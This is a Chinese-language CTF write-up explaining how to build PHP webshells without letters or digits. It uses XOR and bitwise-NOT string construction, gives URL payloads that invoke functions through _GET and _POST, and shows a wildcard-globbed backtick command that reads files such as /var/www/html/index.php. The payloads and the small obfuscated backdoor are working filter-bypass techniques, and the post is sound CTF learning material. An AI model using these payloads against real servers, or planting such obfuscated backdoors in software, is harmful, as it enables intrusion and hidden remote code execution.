本篇博客介绍了构造无字母数字webshell的一些方法!
一道有意思的题
1 | <?php |
分析代码可知只要执行getFlag()函数应该就可以得到flag了
但对code的长度限制<40,并且code不能有数字和大小写字母
方式1(异或运算)
先解释下异或运算
在PHP中,两个变量进行异或时,先会将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完,又将结果从二进制转换成了ASCII值,再将ASCII值转换成字符串。异或操作有时也被用来交换两个变量的值。
举个例子:
A的ASCII值是65,对应的二进制值是01000001
?的ASCII值是63,对应的二进制值是00111111
异或的二进制的值是01111110,对应的ASCII值是126,对应的字符串的值就是~了
我们都知道,PHP是弱类型的语言,也就是说在PHP中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。正是由于PHP弱类型的这个特点,我们对PHP的变类型进行隐式的转换,并利用这个特点进行一些非常规的操作。如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理,下面我们来看一段代码:
1 | <?php |
我们一起来分析一下上面这段代码:
$_++;这行代码的意思是对变量名为"_"的变量进行自增操作,在PHP中未定义的变量默认值为null,null==false==0,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。
$__="?" ^ "}";对字符”?”和”}”进行异或运算,得到结果B赋给变量名为”__”(两个下划线)的变量
$ __ ();通过上面的赋值操作,变量$__的值为B,所以这行可以看作是B(),在PHP中,这行代码表示调用函数B,所以执行结果为Hello Angel_Kitty。在PHP中,我们可以将字符串当作函数来处理。
下面是个非常简单的非数字字母的PHP后门:
1 | <?php |
_POST的拼接可以将上面的代码合并为一行,从而使程序的可读性更差,代码如下:
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
或者
$__="#./|{"^"|~`//";
注意#的url编码,否则会相当于注释
同样_GET也可以这样拼接
$__="`{{{"^"?<>/"
按照这种方法,可得payload
?code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag
?code=$_='[[]|@[['^'<>):,:<';$_(); //$_='getFlag'
?code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();
相当于 $啊=getFlag;$啊();
这里就不需要用 {}
了,因为取反的值直接被当作字符串赋值给了 $ 啊
方式2(取反运算)
主要原理:
利用的是UTF-8编码的某个汉字,将其中某个字符取出来取反
比如"和"[2]
的结果是"\x8c"
,其取反即为字母s
1 | >>> print("和".encode('utf8')) |
举个例子:
1 | <?php |
这里也有一种简短的写法${~"\xa0\xb8\xba\xab"}
它等于$_GET。这里相当于直接把utf8编码的某个字节提取出来统一进行取反。
那麽利用这种方式可得payload
?code=$_=~%98%9A%8B%B9%93%9E%98;$_(); //%_为getFlag取反然后URL编码得结果
或
?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag
拼接出了 $_GET‘+’;,传入 +=getFlag() 从而执行了函数
注意点:
php5和php7是有区别的
PHP7前是不允许用($a)()
;这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();
来执行函数,第一个括号中可以是任意PHP表达式。
升级版
升级版增加了对_
和$
的过滤,但还是有方法绕过的
1 | <?php |
解题方法
这道题刚好是在linux系统上,并且开启了短标签
在linux系统中,是支持正则的,某些你忘记某个字符情况下,你可以使用? * %
等字符来替代,当然这里想要执行命令,需要极限的利用这个方法,经过测试:
???/??? => /bin/cat
PHP开启短标签即short_open_tag=on
时,可以使用<?=$_?>
输出变量
于是读源码:
$_=`/???/???%20/???/???/????/?????.???`;?><?=$_?>
"/bin/cat /var/www/html/index.php"
长度超出上限,使用通配:
$_=/???/???%20/???/???/????/;?><?=$_?>
正则过滤了$和_,改进为:
?><?=`/???/???%20/???/???/????/*`?>
可以读到:
1 | function getFlag(){ |
直接读flag文件
?><?=`/???/???%20/????`;?>
参考:
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html?page=2#reply-list